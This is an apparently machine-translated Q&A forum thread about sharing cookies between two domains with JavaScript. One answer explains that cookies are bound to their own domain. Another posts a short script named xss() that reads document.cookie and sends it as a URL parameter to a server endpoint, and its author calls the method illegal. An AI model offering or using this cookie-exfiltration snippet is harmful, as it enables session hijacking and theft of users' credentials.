2010-08-30 48 views
5

我希望能夠訪問和設置之間example.com和mysite.com餅乾。我怎麼做?如何通過javascript共享2個域的cookie?

+1

你不能這樣做直接。你想達到什麼目的?此外,請在此處和Internet上搜索「跨域cookie」以尋求解決方法。 – Matthew 2010-08-30 17:17:57

+0

可能重複:http://stackoverflow.com/questions/263010/whats-your-favorite-cross-domain-cookie-sharing-approach – 2010-08-30 17:18:05

回答

2

你不能做到這一點與單獨的cookie:它們被明確每個域的設置,並沒有一個合法的(讀:「非利用」)的方式來設置他們的另一個領域。但是,如果您控制兩臺服務器,可能會使用一些解決方法/黑客來實現此目的,但實際上並非如此,它可能會意外中斷(請參閱this question;其中的答案應該可以幫助您解)。

0
<script> 
    function xss(){ 
    var cookies = document.cookie; 
    new Ajax.Request('//localhost/index.php?cookies='+cookies, { 
     onSuccess: function(response) { 
     alert(cookies); 
     } 
    }); 
    } 
    xss(); 
</script> 

PS但它是非法的。 我使用原型庫。

+1

請擴大'這是illegal',爲什麼你使用原型LIB來提高你的答案。 – 2013-05-29 19:53:56